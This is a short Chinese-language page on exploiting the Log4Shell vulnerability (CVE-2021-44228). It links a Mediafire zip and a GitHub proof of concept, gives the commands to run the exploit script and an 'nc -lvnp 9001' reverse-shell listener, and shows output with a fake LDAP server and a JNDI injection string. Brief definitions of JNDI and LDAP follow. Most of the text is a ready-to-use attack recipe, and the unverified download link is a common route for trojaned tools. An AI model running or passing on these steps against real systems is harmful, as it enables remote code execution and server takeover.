Log4Shell漏洞测试工具 https://log4shell.tools/
漏洞利用已包含Java，无需创建账号等..
http://www.mediafire.com/file/bs1spnysc6fbz1a/log4j-shell-poc_%25281%2529.zip/file
pip install -r requirements.txt
$ python3 poc.py --userip localhost --webport 8000 --lport 9001
nc -lvnp 9001
$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
log4j的基本概念
什么是JNDI
JNDI是一种Java API，用于目录服务，允许Java软件客户端通过名称发现和搜索数据及资源。
什么是LDAP
LDAP是一种目录访问协议，可用于验证用户名和密码与Docker、Jenkins、Kubernetes、Open VPN和Linux Samba服务器。LDAP单点登录也可被系统管理员用于控制对LDAP数据库的访问。
想要了解更多关于该漏洞的信息，请参阅以下文档：
https://www.lunasec.io/docs/blog/log4j-zero-day/
不包含Java的漏洞利用